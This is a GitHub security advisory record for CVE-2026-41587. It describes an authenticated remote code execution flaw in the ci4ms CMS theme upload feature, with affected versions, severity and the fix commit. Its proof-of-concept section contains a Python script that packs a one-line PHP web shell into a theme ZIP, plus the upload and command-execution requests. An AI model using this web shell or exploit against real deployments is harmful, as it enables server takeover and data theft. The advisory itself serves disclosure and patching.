CVE-2026-41587: Ci4 cms erp/ci4ms Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fw49-9xq4-gmx6",
  "modified" : "2026-05-08T19:55:29Z",
  "published" : "2026-04-29T20:42:44Z",
  "aliases" : [ "CVE-2026-41587" ],
  "summary" : "CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution",
  "details" : "### Summary\nA theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.\n\n\n### Details\nFile: `modules/Theme/Controllers/Theme.php`\n\nAfter a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52\n\nFile: `modules/Theme/Helpers/themes_helper.php`\n\nThe helper copies every file matching *.* from `public/templates/<name>/` inside the ZIP directly into `public/templates/<name>/` on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: `themes_helper.php:60-68`\n\nBecause the web root is `public/`, any `.php` file placed there is directly reachable over HTTP.\n\nPHP files are also installed — without filtering — into app/Controllers/templates/<name>/, app/Libraries/templates/<name>/, and other app/ subdirectories: `themes_helper.php:31-42`\n\nThe theme name is derived from the uploaded filename via `str_replace('_theme.zip', '', $file->getName())`, so uploading `evil_theme.zip` sets the theme name to evil and the install target to `public/templates/evil/`: `Theme.php:20`\n\n### PoC\nPrerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).\n\nStep 1 — Build the malicious ZIP:\n```\nimport zipfile, io  \n  \nbuf = io.BytesIO()  \nwith zipfile.ZipFile(buf, 'w') as z:  \n    z.writestr('public/templates/evil/shell.php', '<?php system($_GET[\"c\"]); ?>')  \nbuf.seek(0)  \nwith open('evil_theme.zip', 'wb') as f:  \n    f.write(buf.read())\n```\nStep 2 — Upload:\n```\nPOST /backend/themes/upload  \nContent-Type: multipart/form-data  \n  \nfield name: theme  \nfile:       evil_theme.zip  \n```\nStep 3 — Execute:\n```\nGET https://target.com/templates/evil/shell.php?c=id  \n```\nExpected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).\n\n\n### Impact\nType: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.\n\nWho is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "ci4-cms-erp/ci4ms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.26.0.0"
      }, {
        "fixed" : "0.31.7.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.31.6.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fw49-9xq4-gmx6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41587"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/commit/b969465e71eacd9eb57014ad1fce1fc34fa7bca0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ci4-cms-erp/ci4ms"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-29T20:42:44Z",
    "nvd_published_at" : "2026-05-07T04:16:27Z"
  }
}